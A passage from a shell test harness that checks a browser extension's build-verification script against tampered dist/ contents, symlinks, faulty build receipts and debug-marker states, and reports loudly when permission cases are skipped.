no release 1 "dist/chrome/manifest.json does not contain the bytes" \
|
|
c_tampered_manifest
|
|
|
|
check_case "hand-written dist/ offered against this build's receipt" \
|
|
no release 1 "does not contain the bytes this build emitted" \
|
|
c_foreign_dist
|
|
|
|
check_case "extra file under dist/ carrying a marker" \
|
|
no release 1 \
|
|
"dist/chrome/src/popup/extra.mjs is under dist/ but the build" \
|
|
c_extra_file_with_marker
|
|
|
|
check_case "extra file under dist/ carrying no marker" \
|
|
no release 1 \
|
|
"dist/chrome/src/popup/vendor.js is under dist/ but the build" \
|
|
c_extra_file_no_marker
|
|
|
|
check_case "extra file, trailing space in name" \
|
|
no release 1 "is under dist/ but the build that just ran did not emit" \
|
|
c_trailing_space
|
|
|
|
check_case "extra file, newline in name" \
|
|
no release 1 "is under dist/ but the build that just ran did not emit" \
|
|
c_embedded_newline
|
|
|
|
check_case "dist/ replaced by a symlink" \
|
|
no release 1 "dist is a symlink, not a directory." c_dist_symlink
|
|
|
|
check_case "unwalkable subtree under dist/" \
|
|
yes release 1 "enumerating dist/, so part of the tree" \
|
|
c_unwalkable_subtree
|
|
|
|
check_case "dangling symlink under dist/" \
|
|
no release 1 \
|
|
"dist/chrome/dangling.js is a symlink under dist/" c_dangling_symlink
|
|
|
|
check_case "symlink to a directory under dist/" \
|
|
no release 1 \
|
|
"dist/chrome/link-to-dir is a symlink under dist/" c_dir_symlink
|
|
|
|
check_case "symlink aliasing an emitted bundle under another path" \
|
|
no release 1 \
|
|
"dist/chrome/src/aliased.js is a symlink under dist/" c_alias_symlink
|
|
|
|
check_case "receipt missing" \
|
|
no release 1 "is missing. build.js writes it" c_receipt_missing
|
|
|
|
check_case "receipt empty" \
|
|
no release 1 "is empty, so the build wrote nothing to it" \
|
|
c_receipt_empty
|
|
|
|
check_case "receipt unreadable" \
|
|
yes release 1 "is not readable, so nothing was inspected." \
|
|
c_receipt_unreadable
|
|
|
|
check_case "receipt is not a build receipt" \
|
|
no release 1 "does not start with" c_receipt_bad_header
|
|
|
|
check_case "receipt from a different checkout" \
|
|
no release 1 "was written by a build of a different tree" \
|
|
c_receipt_other_tree
|
|
|
|
check_case "receipt names a path containing a space" \
|
|
no release 1 "cannot be read back unambiguously" \
|
|
c_receipt_path_with_space
|
|
|
|
check_case "receipt names a path outside dist/" \
|
|
no release 1 "names a path that is not under dist/" \
|
|
c_receipt_path_outside_dist
|
|
|
|
check_case "emitted file missing" \
|
|
no release 1 \
|
|
"names dist/chrome/src/popup/index.js, which does not exist." \
|
|
c_emitted_missing
|
|
|
|
check_case "emitted file empty" \
|
|
no release 1 "which is empty. An empty file" c_emitted_empty
|
|
|
|
check_case "emitted file unreadable" \
|
|
yes release 1 \
|
|
"on dist/chrome/src/popup/index.js, so its bytes were never read" \
|
|
c_emitted_unreadable
|
|
|
|
check_case "emitted bundle carries no marker" \
|
|
no release 1 "carries no debug marker, so its DEBUG state cannot be" \
|
|
c_no_marker
|
|
|
|
check_case "emitted bundle carries both markers" \
|
|
no release 1 "carries both debug markers, so DEBUG was not resolved" \
|
|
c_both_markers
|
|
|
|
check_case "marker on a file the build did not record as a bundle" \
|
|
no release 1 "carries a debug marker but the build did not" \
|
|
c_marker_on_plain_file
|
|
|
|
discard_case "a failed release build step removes dist/" \
|
|
c_control 3 gone "dist/ WAS REMOVED" "" sh -c 'exit 3'
|
|
|
|
discard_case "a successful release build step leaves dist/ alone" \
|
|
c_control 0 kept "" "REMOVED" true
|
|
|
|
discard_case "a failed release build step with no dist/ says there was none" \
|
|
c_no_dist 3 gone "There was no dist/ to remove" "" sh -c 'exit 3'
|
|
|
|
discard_case "the wrapper given no command removes nothing" \
|
|
c_control 1 kept "no command given" ""
|
|
|
|
check_makefile_wiring
|
|
}
|
|
|
|
# --- main --------------------------------------------------------------------
|
|
|
|
# The harness cannot build a receipt without a digest, so a missing sha256
|
|
# command is a failure here rather than a silent reduction in coverage.
|
|
pick_sha256_tool() {
|
|
if command -v sha256sum >/dev/null 2>&1; then
|
|
SHA256_CMD="sha256sum"
|
|
elif command -v shasum >/dev/null 2>&1; then
|
|
SHA256_CMD="shasum -a 256"
|
|
elif command -v openssl >/dev/null 2>&1; then
|
|
SHA256_CMD="openssl dgst -sha256 -r"
|
|
else
|
|
echo "test-verify-build: no sha256 command found (tried sha256sum," \
|
|
"shasum, openssl), so no fixture receipt can be written" >&2
|
|
exit 1
|
|
fi
|
|
}
|
|
|
|
main() {
|
|
cd "$ROOT"
|
|
|
|
[ -x "$VERIFY_BUILD" ] || {
|
|
echo "test-verify-build: $VERIFY_BUILD is missing or not executable" >&2
|
|
exit 1
|
|
}
|
|
[ -x "$DISCARD_DIST" ] || {
|
|
echo "test-verify-build: $DISCARD_DIST is missing or not executable" >&2
|
|
exit 1
|
|
}
|
|
|
|
echo "Testing script/verify-build failure modes..."
|
|
pick_sha256_tool
|
|
probe_permission_runner
|
|
if [ "$PERM_ENABLED" = yes ]; then
|
|
echo " permission cases: enabled (runner: $PERM_HOW, proved against" \
|
|
"a mode-000 file)"
|
|
fi
|
|
|
|
run_cases
|
|
|
|
if [ "$FAILED" -ne 0 ]; then
|
|
echo "test-verify-build: $FAILED case(s) FAILED," \
|
|
"$PASSED passed, $SKIPPED skipped" >&2
|
|
exit 1
|
|
fi
|
|
|
|
if [ "$SKIPPED" -ne 0 ]; then
|
|
cat <<EOF
|
|
################################################################################
|
|
## WARNING: $SKIPPED CASE(S) DID NOT RUN, AND THIS RUN DOES NOT PROVE THEM.
|
|
## This process is uid $(id -u), and no runner subject to file permissions was
|
|
## available. Tried: $PERM_HOW.
|
|
## Under root, chmod 000 stops neither find nor grep, so the permission cases
|
|
## would have passed without testing anything. They were skipped, not counted:
|
|
$SKIPPED_NAMES################################################################################
|
|
EOF
|
|
echo "test-verify-build: $PASSED case(s) passed," \
|
|
"$SKIPPED SKIPPED AND NOT PROVEN (see the warning above)"
|
|
return 0
|
|
fi
|
|
|
|
echo "test-verify-build: $PASSED case(s) passed"
|
|
}
|
|
|
|
main "$@"
|